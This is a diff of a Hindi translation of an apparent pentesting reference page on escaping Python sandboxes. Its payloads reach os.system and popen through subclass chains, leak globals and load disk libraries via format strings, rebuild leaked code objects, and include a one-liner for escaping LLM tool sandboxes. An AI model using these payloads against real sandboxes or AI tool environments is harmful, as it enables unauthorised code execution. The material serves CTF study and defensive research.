'codeop.CommandCompiler'>, <class 'code.InteractiveInterpreter'>, <class 'pprint._safe_key'>, <class 'pprint.PrettyPrinter'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class 'threading._RLock'>, <class 'threading.Condition'>, <class 'threading.Semaphore'>, <class 'threading.Event'>, <class 'threading.Barrier'>, <class 'threading.Thread'>, <class 'subprocess.CompletedProcess'>, <class 'subprocess.Popen'>]
|
||||
```
|
||||
[**Below there is a bigger function**](#recursive-search-of-builtins-globals) दर्जनों/**सैकड़ों** **स्थान** जहाँ आप **globals** पा सकते हैं, खोजने के लिए।
|
||||
[**Below there is a bigger function**](#recursive-search-of-builtins-globals) दसों/**सैकड़ों** **जगहों** में जहाँ आप **globals** पा सकते हैं, खोजने के लिए।
|
||||
|
||||
## मनमाना निष्पादन खोजें
|
||||
## Discover Arbitrary Execution
|
||||
|
||||
यहाँ मैं बताऊँगा कि कैसे आसानी से **और अधिक खतरनाक लोड की गई कार्यक्षमताएँ** खोजी जा सकती हैं और अधिक भरोसेमंद exploits प्रस्तावित किए जा सकते हैं।
|
||||
यहाँ मैं समझाऊँगा कि कैसे आसानी से **more dangerous functionalities loaded** की खोज की जा सकती है और अधिक भरोसेमंद exploits सुझाए जा सकते हैं।
|
||||
|
||||
#### बायपास के साथ subclasses तक पहुँच
|
||||
#### Accessing subclasses with bypasses
|
||||
|
||||
इस तकनीक का सबसे संवेदनशील हिस्सा यह सक्षम होना है कि आप **base subclasses तक पहुँच सकें**। पिछले उदाहरणों में यह `''.__class__.__base__.__subclasses__()` का उपयोग करके किया गया था लेकिन इसके **अन्य संभावित तरीके** भी हैं:
|
||||
इस technique का एक सबसे संवेदनशील हिस्सा अक्सर **access the base subclasses** तक पहुँच होना है। पिछले उदाहरणों में यह `''.__class__.__base__.__subclasses__()` के जरिए किया गया था, लेकिन **other possible ways** भी हैं:
|
||||
```python
|
||||
#You can access the base from mostly anywhere (in regular conditions)
|
||||
"".__class__.__base__.__subclasses__()
|
||||
@ -446,18 +446,18 @@ defined_func.__class__.__base__.__subclasses__()
|
||||
(''|attr('__class__')|attr('__mro__')|attr('__getitem__')(1)|attr('__subclasses__')()|attr('__getitem__')(132)|attr('__init__')|attr('__globals__')|attr('__getitem__')('popen'))('cat+flag.txt').read()
|
||||
(''|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5fmro\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')(1)|attr('\x5f\x5fsubclasses\x5f\x5f')()|attr('\x5f\x5fgetitem\x5f\x5f')(132)|attr('\x5f\x5finit\x5f\x5f')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('popen'))('cat+flag.txt').read()
|
||||
```
|
||||
### लोड की गई खतरनाक लाइब्रेरी ढूँढना
|
||||
### लोड किए गए खतरनाक लाइब्रेरीज़ ढूँढना
|
||||
|
||||
उदाहरण के लिए, यह जानते हुए कि लाइब्रेरी **`sys`** के साथ **import arbitrary libraries** करना संभव है, आप उन सभी **modules loaded that have imported sys inside of them** को खोज सकते हैं:
|
||||
उदाहरण के लिए, यह जानकर कि लाइब्रेरी **`sys`** की मदद से **import arbitrary libraries** संभव है, आप उन सभी **modules loaded that have imported sys inside of them** को खोज सकते हैं:
|
||||
```python
|
||||
[ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ]
|
||||
['_ModuleLock', '_DummyModuleLock', '_ModuleLockManager', 'ModuleSpec', 'FileLoader', '_NamespacePath', '_NamespaceLoader', 'FileFinder', 'zipimporter', '_ZipImportResourceReader', 'IncrementalEncoder', 'IncrementalDecoder', 'StreamReaderWriter', 'StreamRecoder', '_wrap_close', 'Quitter', '_Printer', 'WarningMessage', 'catch_warnings', '_GeneratorContextManagerBase', '_BaseExitStack', 'Untokenizer', 'FrameSummary', 'TracebackException', 'CompletedProcess', 'Popen', 'finalize', 'NullImporter', '_HackedGetData', '_localized_month', '_localized_day', 'Calendar', 'different_locale', 'SSLObject', 'Request', 'OpenerDirector', 'HTTPPasswordMgr', 'AbstractBasicAuthHandler', 'AbstractDigestAuthHandler', 'URLopener', '_PaddedFile', 'CompressedValue', 'LogRecord', 'PercentStyle', 'Formatter', 'BufferingFormatter', 'Filter', 'Filterer', 'PlaceHolder', 'Manager', 'LoggerAdapter', '_LazyDescr', '_SixMetaPathImporter', 'MimeTypes', 'ConnectionPool', '_LazyDescr', '_SixMetaPathImporter', 'Bytecode', 'BlockFinder', 'Parameter', 'BoundArguments', 'Signature', '_DeprecatedValue', '_ModuleWithDeprecations', 'Scrypt', 'WrappedSocket', 'PyOpenSSLContext', 'ZipInfo', 'LZMACompressor', 'LZMADecompressor', '_SharedFile', '_Tellable', 'ZipFile', 'Path', '_Flavour', '_Selector', 'JSONDecoder', 'Response', 'monkeypatch', 'InstallProgress', 'TextProgress', 'BaseDependency', 'Origin', 'Version', 'Package', '_Framer', '_Unframer', '_Pickler', '_Unpickler', 'NullTranslations']
|
||||
```
|
||||
कई हैं, और **हमें केवल एक चाहिए** to execute commands:
|
||||
बहुत सारे हैं, और **हमें सिर्फ एक चाहिए** execute commands करने के लिए:
|
||||
```python
|
||||
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls")
|
||||
```
|
||||
हम वही काम **other libraries** के साथ भी कर सकते हैं जिन्हें हम जानते हैं कि **execute commands** के लिए इस्तेमाल किया जा सकता है:
|
||||
हम वही काम उन **अन्य लाइब्रेरीज़** के साथ भी कर सकते हैं जिनका इस्तेमाल **कमांड्स निष्पादित करने** के लिए किया जा सकता है:
|
||||
```python
|
||||
#os
|
||||
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "os" in x.__init__.__globals__ ][0]["os"].system("ls")
|
||||
@ -492,7 +492,7 @@ defined_func.__class__.__base__.__subclasses__()
|
||||
#pdb
|
||||
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "pdb" in x.__init__.__globals__ ][0]["pdb"].os.system("ls")
|
||||
```
|
||||
इसके अलावा, हम यह भी खोज सकते हैं कि कौन से modules malicious libraries लोड कर रहे हैं:
|
||||
इसके अलावा, हम यह भी खोज सकते हैं कि कौन से मॉड्यूल malicious libraries लोड कर रहे हैं:
|
||||
```python
|
||||
bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"]
|
||||
for b in bad_libraries_names:
|
||||
@ -511,7 +511,7 @@ builtins: FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, IncrementalE
|
||||
pdb:
|
||||
"""
|
||||
```
|
||||
इसके अलावा, यदि आपको लगता है कि **other libraries** संभवतः **invoke functions to execute commands** करने में सक्षम हो सकती हैं, तो हम संभावित libraries के अंदर भी **filter by functions names** कर सकते हैं:
|
||||
इसके अलावा, यदि आपको लगता है कि **अन्य लाइब्रेरीज़** संभवतः **कमान्ड्स निष्पादित करने के लिए फ़ंक्शन्स को आह्वान कर सकती हैं**, तो हम संभावित लाइब्रेरीज़ के भीतर **फ़ंक्शन नामों द्वारा फ़िल्टर** भी कर सकते हैं:
|
||||
```python
|
||||
bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"]
|
||||
bad_func_names = ["system", "popen", "getstatusoutput", "getoutput", "call", "Popen", "spawn", "import_module", "__import__", "load_source", "execfile", "execute", "__builtins__"]
|
||||
@ -547,7 +547,7 @@ __builtins__: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, Fil
|
||||
## Builtins, Globals... की पुनरावर्ती खोज
|
||||
|
||||
> [!WARNING]
|
||||
> यह बस **शानदार** है। अगर आप **globals, builtins, open या किसी भी अन्य जैसी ऑब्जेक्ट की तलाश में हैं** तो बस इस स्क्रिप्ट का उपयोग करें ताकि आप उस ऑब्जेक्ट को **पुनरावर्ती रूप से ढूँढने वाले स्थानों को खोज सकें।**
|
||||
> यह बस **कमाल** है। यदि आप **globals, builtins, open या किसी भी ऑब्जेक्ट** की तलाश कर रहे हैं तो बस इस script का उपयोग करें ताकि आप उस ऑब्जेक्ट को **पुनरावर्ती रूप से खोज सकें।**
|
||||
```python
|
||||
import os, sys # Import these to find more gadgets
|
||||
|
||||
@ -663,7 +663,7 @@ print(SEARCH_FOR)
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
```
|
||||
You can check the output of this script on this page:
|
||||
आप इस पेज पर इस स्क्रिप्ट के आउटपुट को देख सकते हैं:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -672,7 +672,7 @@ https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-
|
||||
|
||||
## Python Format String
|
||||
|
||||
यदि आप python को ऐसी **string** **भेजते हैं** जिसे **formatted** किया जाना है, तो आप `{}` का उपयोग करके **python internal information** तक पहुँच सकते हैं। आप पिछले उदाहरणों का उपयोग globals या builtins तक पहुँचने के लिए कर सकते हैं।
|
||||
यदि आप python को **send** की जाने वाली **string** भेजते हैं जो **formatted** होने वाली है, तो आप `{}` का उपयोग करके **python internal information.** तक पहुँच सकते हैं। आप पिछले उदाहरणों का उपयोग करके globals या builtins तक पहुँच सकते हैं, उदाहरण के लिए।
|
||||
```python
|
||||
# Example from https://www.geeksforgeeks.org/vulnerability-in-str-format-in-python/
|
||||
CONFIG = {
|
||||
@ -692,16 +692,16 @@ people = PeopleInfo('GEEKS', 'FORGEEKS')
|
||||
st = "{people_obj.__init__.__globals__[CONFIG][KEY]}"
|
||||
get_name_for_avatar(st, people_obj = people)
|
||||
```
|
||||
ध्यान दें कि आप सामान्य तरीके से **attributes को dot के माध्यम से एक्सेस** कर सकते हैं जैसे `people_obj.__init__` और **dict element को parenthesis में बिना quotes** `__globals__[CONFIG]`
|
||||
ध्यान दें कि आप सामान्य तरीके से **एट्रिब्यूट्स तक पहुँच** को **डॉट** की तरह `people_obj.__init__` और **dict element** को **parenthesis** के साथ बिना quotes `__globals__[CONFIG]` की तरह एक्सेस कर सकते हैं।
|
||||
|
||||
यह भी ध्यान दें कि आप `.__dict__` का उपयोग करके किसी ऑब्जेक्ट के elements को enumerate कर सकते हैं `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)`
|
||||
इसके अलावा ध्यान दें कि आप किसी ऑब्जेक्ट के एलिमेंट्स को सूचीबद्ध करने के लिए `.__dict__` का उपयोग कर सकते हैं `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)`
|
||||
|
||||
format strings की कुछ अन्य रोचक विशेषताएँ यह हैं कि आप निर्दिष्ट ऑब्जेक्ट पर **`str`**, **`repr`** और **`ascii`** फ़ंक्शन्स को क्रमशः **`!s`**, **`!r`**, **`!a`** जोड़कर **निष्पादित** कर सकते हैं:
|
||||
format strings के कुछ अन्य दिलचस्प गुणों में यह संभावना है कि निर्दिष्ट ऑब्जेक्ट में **निष्पादित** करने के लिए **फ़ंक्शंस** **`str`**, **`repr`** और **`ascii`** को क्रमशः **`!s`**, **`!r`**, **`!a`** जोड़कर उपयोग किया जा सकता है:
|
||||
```python
|
||||
st = "{people_obj.__init__.__globals__[CONFIG][KEY]!a}"
|
||||
get_name_for_avatar(st, people_obj = people)
|
||||
```
|
||||
इसके अलावा, classes में **code new formatters** बनाना संभव है:
|
||||
इसके अलावा, classes में **नए formatters को कोड करना** संभव है:
|
||||
```python
|
||||
class HAL9000(object):
|
||||
def __format__(self, format):
|
||||
@ -712,17 +712,17 @@ return 'HAL 9000'
|
||||
'{:open-the-pod-bay-doors}'.format(HAL9000())
|
||||
#I'm afraid I can't do that.
|
||||
```
|
||||
**अधिक उदाहरण** **format** **string** के उदाहरण [**https://pyformat.info/**](https://pyformat.info) पर मिल सकते हैं
|
||||
**अधिक उदाहरण** और **format** **string** के उदाहरण [**https://pyformat.info/**](https://pyformat.info) पर पाए जा सकते हैं
|
||||
|
||||
> [!CAUTION]
|
||||
> निम्नलिखित पेज भी चेक करें उन gadgets के लिए जो r**ead sensitive information from Python internal objects**:
|
||||
> निम्नलिखित पृष्ठ भी देखें उन gadgets के लिए जो r**ead sensitive information from Python internal objects**:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../python-internal-read-gadgets.md
|
||||
{{#endref}}
|
||||
|
||||
### संवेदनशील जानकारी प्रकटीकरण Payloads
|
||||
### संवेदनशील जानकारी Disclosure Payloads
|
||||
```python
|
||||
{whoami.__class__.__dict__}
|
||||
{whoami.__globals__[os].__dict__}
|
||||
@ -740,20 +740,21 @@ str(x) # Out: clueless
|
||||
```
|
||||
### LLM Jails bypass
|
||||
|
||||
स्रोत: [here](https://www.cyberark.com/resources/threat-research-blog/anatomy-of-an-llm-rce): `().class.base.subclasses()[108].load_module('os').system('dir')`
|
||||
From [here](https://www.cyberark.com/resources/threat-research-blog/anatomy-of-an-llm-rce): `().class.base.subclasses()[108].load_module('os').system('dir')`
|
||||
|
||||
### From format to RCE loading libraries
|
||||
|
||||
[**TypeMonkey chall from this writeup**](https://corgi.rip/posts/buckeye-writeups/) के अनुसार, format string vulnerability का abusing करके python में disk से arbitrary libraries को load करना संभव है।
|
||||
According to the [**TypeMonkey chall from this writeup**](https://corgi.rip/posts/buckeye-writeups/) it's possible to load arbitrary libraries from disk abusing the format string vulnerability in python.
|
||||
|
||||
याद रखें, जब भी python में कोई action perform होता है तो कोई न कोई function execute होता है। उदाहरण के लिए `2*3` execute करेगा **`(2).mul(3)`** या **`{'a':'b'}['a']`** execute होगा **`{'a':'b'}.__getitem__('a')`**।
|
||||
याद दिलाने के लिए, हर बार जब python में कोई action किया जाता है तो कोई न कोई function execute होता है। उदाहरण के लिए `2*3` execute करेगा **`(2).mul(3)`** या **`{'a':'b'}['a']`** execute करेगा **`{'a':'b'}.__getitem__('a')`**.
|
||||
|
||||
ऐसी और चीज़ें आप सेक्शन [**Python execution without calls**](#python-execution-without-calls) में पाएंगे।
|
||||
इस जैसे और उदाहरण आप सेक्शन [**Python execution without calls**](#python-execution-without-calls) में पाएंगे.
|
||||
|
||||
एक python format string vuln function को execute करने की अनुमति नहीं देता (यह parenthesis के उपयोग की अनुमति नहीं देता), इसलिए `'{0.system("/bin/sh")}'.format(os)` जैसा RCE प्राप्त करना संभव नहीं है.\
|
||||
हालाँकि, `[]` का उपयोग संभव है। इसलिए, यदि कोई सामान्य python library में ऐसा **`__getitem__`** या **`__getattr__`** method है जो arbitrary code execute करता है, तो उन्हें abuse करके RCE प्राप्त करना संभव है।
|
||||
A python format string vuln doesn't allow to execute function (it doesn't allow to use parenthesis), so it's not possible to get RCE like `'{0.system("/bin/sh")}'.format(os)`.
|
||||
|
||||
python में ऐसे gadget की तलाश में, writeup इस [**Github search query**](https://github.com/search?q=repo%3Apython%2Fcpython+%2Fdef+%28__getitem__%7C__getattr__%29%2F+path%3ALib%2F+-path%3ALib%2Ftest%2F&type=code) का सुझाव देता है। जहाँ उसने यह [one](https://github.com/python/cpython/blob/43303e362e3a7e2d96747d881021a14c7f7e3d0b/Lib/ctypes/__init__.py#L463) पाया:
|
||||
हालाँकि, `[]` का उपयोग संभव है। इसलिए, अगर कोई सामान्य python library में ऐसा **`__getitem__`** या **`__getattr__`** मेथड है जो arbitrary code execute करता है, तो उन्हें abuse करके RCE प्राप्त किया जा सकता है।
|
||||
|
||||
python में ऐसे gadget की तलाश में, writeup ने यह [**Github search query**](https://github.com/search?q=repo%3Apython%2Fcpython+%2Fdef+%28__getitem__%7C__getattr__%29%2F+path%3ALib%2F+-path%3ALib%2Ftest%2F&type=code) प्रस्तावित की। जहाँ उसने यह [one](https://github.com/python/cpython/blob/43303e362e3a7e2d96747d881021a14c7f7e3d0b/Lib/ctypes/__init__.py#L463) पाया:
|
||||
```python
|
||||
class LibraryLoader(object):
|
||||
def __init__(self, dlltype):
|
||||
@ -775,20 +776,20 @@ return getattr(self, name)
|
||||
cdll = LibraryLoader(CDLL)
|
||||
pydll = LibraryLoader(PyDLL)
|
||||
```
|
||||
यह gadget **load a library from disk** करने की अनुमति देता है। इसलिए, किसी तरह यह ज़रूरी है कि उस library को जिसे load करना है, correctly compiled करके attacked server पर **write or upload the library to load** किया जाए।
|
||||
यह gadget **डिस्क से लाइब्रेरी लोड करने** की अनुमति देता है। इसलिए, यह आवश्यक है कि किसी तरह उस लाइब्रेरी को जिसे लोड करना है, सही तरीके से कंपाइल करके लक्षित सर्वर पर **लिखा या अपलोड किया जाए**।
|
||||
```python
|
||||
'{i.find.__globals__[so].mapperlib.sys.modules[ctypes].cdll[/path/to/file]}'
|
||||
```
|
||||
The challenge actually abuses another vulnerability in the server that allows to create arbitrary files in the servers disk.
|
||||
The challenge वास्तव में server में एक अन्य vulnerability का दुरुपयोग करता है जो server की disk पर arbitrary files बनाने की अनुमति देता है।
|
||||
|
||||
## Python Objects का विश्लेषण
|
||||
|
||||
> [!TIP]
|
||||
> यदि आप **python bytecode** के बारे में गहराई से सीखना चाहते हैं तो इस **उत्कृष्ट** पोस्ट को पढ़ें: [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d)
|
||||
> अगर आप **सीखना** चाहते हैं कि **python bytecode** के बारे में गहराई से समझ कैसे प्राप्त करें तो इस विषय पर यह **शानदार** पोस्ट पढ़ें: [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d)
|
||||
|
||||
कुछ CTFs में आपको **custom function where the flag** का नाम दिया जा सकता है और उसे extract करने के लिए आपको उस **function** के **internals** को देखना होगा।
|
||||
कुछ CTFs में आपको **custom function where the flag** का नाम दिया जा सकता है और आपको इसे निकालने के लिए **internals** of the **function** को देखना होगा।
|
||||
|
||||
यह निरीक्षण करने के लिए दिया गया function है:
|
||||
यह वही function है जिसे जांचना है:
|
||||
```python
|
||||
def get_flag(some_input):
|
||||
var1=1
|
||||
@ -808,7 +809,7 @@ dir(get_flag) #Get info tof the function
|
||||
```
|
||||
#### globals
|
||||
|
||||
`__globals__` and `func_globals`(Same) ग्लोबल वातावरण प्राप्त करता है। उदाहरण में आप कुछ इम्पोर्ट किए गए मॉड्यूल, कुछ ग्लोबल वेरिएबल और उनकी घोषित सामग्री देख सकते हैं:
|
||||
`__globals__` and `func_globals`(समान) ग्लोबल एनवायरनमेंट प्राप्त करते हैं। उदाहरण में आप कुछ आयातित मॉड्यूल, कुछ ग्लोबल वेरिएबल और उनकी घोषित सामग्री देख सकते हैं:
|
||||
```python
|
||||
get_flag.func_globals
|
||||
get_flag.__globals__
|
||||
@ -819,9 +820,9 @@ CustomClassObject.__class__.__init__.__globals__
|
||||
```
|
||||
[**See here more places to obtain globals**](#globals-and-locals)
|
||||
|
||||
### **फ़ंक्शन के code तक पहुँच**
|
||||
### **फ़ंक्शन कोड तक पहुँचना**
|
||||
|
||||
**`__code__`** and `func_code`: आप फ़ंक्शन के इस **attribute** को **access** करके फ़ंक्शन के **code object** को प्राप्त कर सकते हैं।
|
||||
**`__code__`** और `func_code`: आप फ़ंक्शन के इस **एट्रिब्यूट** तक **पहुँच** कर सकते हैं ताकि फ़ंक्शन का **कोड ऑब्जेक्ट** प्राप्त कर सकें।
|
||||
```python
|
||||
# In our current example
|
||||
get_flag.__code__
|
||||
@ -835,7 +836,7 @@ compile("print(5)", "", "single")
|
||||
dir(get_flag.__code__)
|
||||
['__class__', '__cmp__', '__delattr__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__le__', '__lt__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'co_argcount', 'co_cellvars', 'co_code', 'co_consts', 'co_filename', 'co_firstlineno', 'co_flags', 'co_freevars', 'co_lnotab', 'co_name', 'co_names', 'co_nlocals', 'co_stacksize', 'co_varnames']
|
||||
```
|
||||
### Code की जानकारी प्राप्त करना
|
||||
### कोड जानकारी प्राप्त करना
|
||||
```python
|
||||
# Another example
|
||||
s = '''
|
||||
@ -909,7 +910,7 @@ dis.dis(get_flag)
|
||||
44 LOAD_CONST 0 (None)
|
||||
47 RETURN_VALUE
|
||||
```
|
||||
ध्यान दें कि **यदि आप python sandbox में `dis` को import नहीं कर सकते** तो आप फ़ंक्शन का **bytecode** (`get_flag.func_code.co_code`) प्राप्त कर सकते हैं और इसे लोकली **disassemble** कर सकते हैं। आप लोड हो रहे वेरिएबल्स की सामग्री (`LOAD_CONST`) नहीं देख पाएंगे, लेकिन आप उन्हें (`get_flag.func_code.co_consts`) से अनुमान लगा सकते हैं क्योंकि `LOAD_CONST` भी लोड किए जा रहे वेरिएबल के offset को बताता है।
|
||||
ध्यान दें कि **यदि आप python sandbox में `dis` को import नहीं कर सकते** तो आप फ़ंक्शन का **bytecode** (`get_flag.func_code.co_code`) प्राप्त कर सकते हैं और इसे स्थानीय रूप से **disassemble** कर सकते हैं। आप लोड किए जा रहे वेरिएबल्स की सामग्री (`LOAD_CONST`) नहीं देख पाएँगे, लेकिन आप उन्हें (`get_flag.func_code.co_consts`) से अनुमान लगा सकते हैं क्योंकि `LOAD_CONST` भी लोड किए जा रहे वेरिएबल का offset बताता है।
|
||||
```python
|
||||
dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S')
|
||||
0 LOAD_CONST 1 (1)
|
||||
@ -933,8 +934,7 @@ dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x0
|
||||
```
|
||||
## Python को कम्पाइल करना
|
||||
|
||||
अब, मान लीजिए कि किसी तरह आप **ऐसे function की जानकारी dump कर सकते हैं जिसे आप execute नहीं कर पाते**, लेकिन आपको इसे **ज़रूरी** तौर पर **execute** करना है.\\
|
||||
निम्न उदाहरण की तरह, आप उस function के **code object** तक access कर सकते हैं, पर सिर्फ disassemble पढ़कर आप **flag कैसे calculate किया जाए यह नहीं जानते** (_किसी अधिक जटिल `calc_flag` function की कल्पना करें_)
|
||||
अब, मान लीजिए कि किसी तरह आप **उस function के बारे में जानकारी dump कर सकते हैं जिसे आप execute नहीं कर सकते** लेकिन आपको इसे **execute करना** **ज़रूरी** है.\ जैसा कि निम्नलिखित उदाहरण में, आप उस function के `code object` तक **access कर सकते हैं**, पर सिर्फ disassemble पढ़कर आप **flag कैसे calculate करना है** नहीं जानते (_एक अधिक जटिल `calc_flag` function की कल्पना करें_)
|
||||
```python
|
||||
def get_flag(some_input):
|
||||
var1=1
|
||||
@ -949,7 +949,7 @@ return "Nope"
|
||||
```
|
||||
### code object बनाना
|
||||
|
||||
सबसे पहले, हमें यह जानना होगा **कैसे एक code object बनाना और execute करना है** ताकि हम अपनी function leaked को execute करने के लिए एक बना सकें:
|
||||
सबसे पहले, हमें यह जानना होगा कि **how to create and execute a code object** ताकि हम अपना leaked function execute करने के लिए एक बना सकें:
|
||||
```python
|
||||
code_type = type((lambda: None).__code__)
|
||||
# Check the following hint if you get an error in calling this
|
||||
@ -969,7 +969,7 @@ mydict['__builtins__'] = __builtins__
|
||||
function_type(code_obj, mydict, None, None, None)("secretcode")
|
||||
```
|
||||
> [!TIP]
|
||||
> Python के संस्करण के आधार पर `code_type` के **पैरामीटर** का **क्रम अलग** हो सकता है। जिस python संस्करण पर आप चला रहे हैं, उसमें पैरामीटरों के क्रम को जानने का सबसे अच्छा तरीका यह चलाना है:
|
||||
> python के संस्करण के आधार पर `code_type` के **पैरामीटर** का **क्रम अलग** हो सकता है। जिस python संस्करण में आप चल रहे हैं, उसमें पैरामीटर के क्रम को जानने का सबसे अच्छा तरीका यह है कि आप यह चलाएँ:
|
||||
>
|
||||
> ```
|
||||
> import types
|
||||
@ -977,10 +977,10 @@ function_type(code_obj, mydict, None, None, None)("secretcode")
|
||||
> 'code(argcount, posonlyargcount, kwonlyargcount, nlocals, stacksize,\n flags, codestring, constants, names, varnames, filename, name,\n firstlineno, lnotab[, freevars[, cellvars]])\n\nCreate a code object. Not for the faint of heart.'
|
||||
> ```
|
||||
|
||||
### एक leaked फ़ंक्शन को पुनःसृजित करना
|
||||
### leaked function को पुनः बनाना
|
||||
|
||||
> [!WARNING]
|
||||
> नीचे दिए उदाहरण में, हम फ़ंक्शन को पुनःसृजित करने के लिए आवश्यक सभी डेटा सीधे फ़ंक्शन के code object से लेंगे। एक **real example** में, फ़ंक्शन **`code_type`** को execute करने के लिए सभी **values** वही हैं जिन्हें आपको **leak** करना होगा।
|
||||
> निम्न उदाहरण में, हम function को पुनः बनाने के लिए आवश्यक सभी डेटा सीधे function code object से लेंगे। एक **वास्तविक उदाहरण** में, function **`code_type`** को चलाने के लिए सभी **मान** वही होंगे जिन्हें आपको **leak** करना होगा।
|
||||
```python
|
||||
fc = get_flag.__code__
|
||||
# In a real situation the values like fc.co_argcount are the ones you need to leak
|
||||
@ -991,13 +991,12 @@ mydict['__builtins__'] = __builtins__
|
||||
function_type(code_obj, mydict, None, None, None)("secretcode")
|
||||
#ThisIsTheFlag
|
||||
```
|
||||
### रक्षा को बायपास करना
|
||||
### सुरक्षा बाधाओं को बायपास करें
|
||||
|
||||
इस पोस्ट की शुरुआत में दिए गए पिछले उदाहरणों में, आप देख सकते हैं **कि `compile` फ़ंक्शन का उपयोग करके किसी भी python कोड को कैसे निष्पादित किया जा सकता है**।
|
||||
यह इसलिए दिलचस्प है क्योंकि आप **पूरे स्क्रिप्ट्स** को लूप्स और सब कुछ के साथ **एक लाइन में** निष्पादित कर सकते हैं (और हम **`exec`** का उपयोग करके भी यही कर सकते थे).\
|
||||
वैसे, कभी-कभी यह उपयोगी हो सकता है कि आप लोकल मशीन पर एक **compiled object** बनाकर उसे **CTF machine** में निष्पादित करें (उदाहरण के लिए क्योंकि CTF में हमारे पास `compiled` फ़ंक्शन नहीं है)।
|
||||
इस पोस्ट की शुरुआत में दिए गए पिछले उदाहरणों में, आप देख सकते हैं कि **`compile` function का उपयोग करके किसी भी python code को कैसे execute किया जा सकता है**। यह इसलिए दिलचस्प है क्योंकि आप **whole scripts** को loops और सब कुछ के साथ एक **one liner** में execute कर सकते हैं (और हम वही **`exec`** का उपयोग करके भी कर सकते हैं)।\
|
||||
वैसे भी, कभी-कभी यह उपयोगी हो सकता है कि आप स्थानीय मशीन पर एक **compiled object** बना कर उसे **CTF मशीन** में execute करें (उदाहरण के लिए क्योंकि हमारे पास CTF में `compiled` function नहीं है).
|
||||
|
||||
उदाहरण के लिए, आइए मैन्युअली एक फ़ंक्शन को compile करके और execute करके चलाएं जो _./poc.py_ पढ़ता है:
|
||||
उदाहरण के लिए, चलिए मैन्युअली एक function को compile और execute करते हैं जो _./poc.py_ पढ़ता है:
|
||||
```python
|
||||
#Locally
|
||||
def read():
|
||||
@ -1024,7 +1023,7 @@ mydict['__builtins__'] = __builtins__
|
||||
codeobj = code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '<module>', 1, '', (), ())
|
||||
function_type(codeobj, mydict, None, None, None)()
|
||||
```
|
||||
यदि आप `eval` या `exec` तक पहुँच नहीं सकते तो आप एक **उचित फ़ंक्शन** बना सकते हैं, लेकिन इसे सीधे कॉल करने पर आमतौर पर यह असफल होगा: _constructor प्रतिबंधित मोड में सुलभ नहीं है_. इसलिए आपको इस फ़ंक्शन को कॉल करने के लिए प्रतिबंधित वातावरण के बाहर एक **फ़ंक्शन** चाहिए।
|
||||
यदि आप `eval` या `exec` तक पहुँच नहीं सकते हैं तो आप एक **proper function** बना सकते हैं, लेकिन इसे सीधे कॉल करने पर आमतौर पर यह विफल हो जाता है: _constructor not accessible in restricted mode_. इसलिए आपको एक **function चाहिए जो restricted environment में न हो ताकि वह इस function को कॉल कर सके।**
|
||||
```python
|
||||
#Compile a regular print
|
||||
ftype = type(lambda: None)
|
||||
@ -1032,9 +1031,9 @@ ctype = type((lambda: None).func_code)
|
||||
f = ftype(ctype(1, 1, 1, 67, '|\x00\x00GHd\x00\x00S', (None,), (), ('s',), 'stdin', 'f', 1, ''), {})
|
||||
f(42)
|
||||
```
|
||||
## Compiled Python का Decompiling
|
||||
## Decompiling Compiled Python
|
||||
|
||||
जैसे टूल्स [**https://www.decompiler.com/**](https://www.decompiler.com) का उपयोग करके दिए गए compiled python code को **decompile** किया जा सकता है।
|
||||
जैसे टूल्स [**https://www.decompiler.com/**](https://www.decompiler.com) का उपयोग करके कोई दिए गए compiled python code को **decompile** कर सकता है।
|
||||
|
||||
**इस ट्यूटोरियल को देखें**:
|
||||
|
||||
@ -1043,12 +1042,12 @@ f(42)
|
||||
../../basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md
|
||||
{{#endref}}
|
||||
|
||||
## Misc Python
|
||||
## विविध Python
|
||||
|
||||
### Assert
|
||||
|
||||
Python `-O` पैरामीटर के साथ optimizations पर चलाया गया Python asset statements और किसी भी ऐसे कोड को हटा देगा जो **debug** के मान पर conditional हो।\
|
||||
इसलिए, निम्नलिखित चेक जैसे
|
||||
`-O` पैरामीटर के साथ optimizations सक्रिय करके चलाया गया Python asset statements और किसी भी कोड को हटा देता है जो **debug** के मान पर conditional होता है।\
|
||||
इसलिए, ऐसी जाँचें जैसे
|
||||
```python
|
||||
def check_permission(super_user):
|
||||
try:
|
||||
|
||||
@ -1,835 +0,0 @@
|
||||
